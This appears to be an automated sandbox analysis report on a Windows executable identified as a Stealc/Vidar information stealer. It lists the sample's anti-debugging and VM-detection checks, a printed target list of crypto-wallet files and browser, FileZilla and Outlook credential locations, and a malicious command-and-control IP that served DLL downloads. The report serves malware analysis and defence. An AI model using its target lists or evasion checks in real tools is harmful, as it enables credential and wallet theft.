Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2487356393.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000002.2489025666.0000000000B20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2487356393.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C605FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C605FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5DB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5DB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2792, type: MEMORYSTR

Source: file.exe, 00000000.00000002.2487356393.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: \|Program Manager
Source: file.exe	Binary or memory string: A\|Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB341 cpuid

0_2_6C5DB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5A35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5A35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2063912669.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2486320948.0000000000361000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2792, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2792, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.*S
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.*S
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json*
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.json
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2486320948.00000000005CE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2486320948.00000000005CE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2486320948.00000000005CE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2792, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2063912669.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2486320948.0000000000361000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2792, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2792, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-4.corp.google.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://www.tiktok.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mira-tmc.tm-4.office.com	52.123.243.195	true	false	unknown
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
plus.l.google.com	142.250.186.174	true	false	unknown
play.google.com	142.250.184.238	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	108.156.60.50	true	false	unknown
www.google.com	142.250.184.196	true	false	unknown
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137419928&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
https://deff.nelreports.net/api/report?cat=msn	false	URL Reputation: safe	unknown
https://sb.scorecardresearch.com/b2?rn=1730137417933&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FEC05542B56D820230D57343E26C2D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true		unknown
